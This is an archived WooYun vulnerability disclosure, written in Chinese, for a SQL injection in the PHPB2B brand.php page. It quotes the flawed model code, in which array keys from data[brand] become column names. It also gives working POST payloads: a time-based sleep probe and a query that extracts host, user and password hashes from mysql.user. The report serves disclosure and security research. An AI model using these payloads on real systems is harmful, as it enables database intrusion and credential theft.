乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-02-16: 细节已通知厂商并且等待厂商处理中 2015-03-03: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放 2015-04-27: 细节向核心白帽子及相关领域专家公开 2015-05-07: 细节向普通白帽子公开 2015-05-17: 细节向实习白帽子公开 2015-04-02: 细节向公众公开
SQL注入#2
注入链接:/virtual-office/brand.php注入参数:data[brand]漏洞代码:(第24行开始)if (isset($_POST['save']) && !empty($company_id)) {$company->newCheckStatus($companyinfo['status']);if(!empty($_POST['data']['brand'])){$vals = $_POST['data']['brand'];if(isset($_POST['id'])){ $id = intval($_POST['id']);}$attachment->rename_file = "brand-".($brand->getMaxId()+1);if(!empty($id)){ $attachment->insert_new = false; $attachment->rename_file = "brand-".$id;}if (!empty($_FILES['pic']['name'])) { $attachment->upload_process(); $vals['picture'] = $attachment->file_full_url;}if (!empty($vals['description'])) { $vals['description'] = stripcslashes($vals['description']);}$vals['letter'] = L10n::getinitial($vals['name']);$vals['member_id'] = $the_memberid;$vals['company_id'] = $company_id;if (!empty($id)) { $vals['modified'] = $time_stamp; $res = $brand->save($vals, "update", $id, null, $conditions);$vals = $_POST['data']['brand'];从data['brand']中获取job数组参数,并将$vals数组传入save函数,save函数中通过以下以下代码构造SQL语句:(libraries/core/model.php)$keys = array_keys($posts);$cols = implode($keys,",");$tbname = (is_null($tbname))? $this->getTable():trim($tbname);$this->table_name = $tbname;if(!empty($id)){ $sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$id."'";在save函数中$vals数组的键名会被拆分为select语句的列名列表$cols,由于$vals可控导致sql注入,且是数组键名,因此可绕过代码中的注入检测
漏洞测试:http://127.0.0.1/phpb2b/virtual-office/brand.phpPost:data[brand][if((length(user())>61),1,sleep(5))%23]=1&save=1为了方便调试,在代码里把执行的SQL语句打印出来 Mysql日志: 成功执行延时注入可无视SQL注入检测,执行任意SQL语句http://127.0.0.1/phpb2b/virtual-office/brand.phpPost:data[brand][host,user,password/**/from/**/mysql.user/**/where/**/1>0/**/limit/**/0,1%23]=1&save=1 Mysql日志:
Mysql日志:
成功执行延时注入可无视SQL注入检测,执行任意SQL语句http://127.0.0.1/phpb2b/virtual-office/brand.phpPost:data[brand][host,user,password/**/from/**/mysql.user/**/where/**/1>0/**/limit/**/0,1%23]=1&save=1
过滤
危害等级:无影响厂商忽略
忽略时间:2015-04-02 10:23
暂无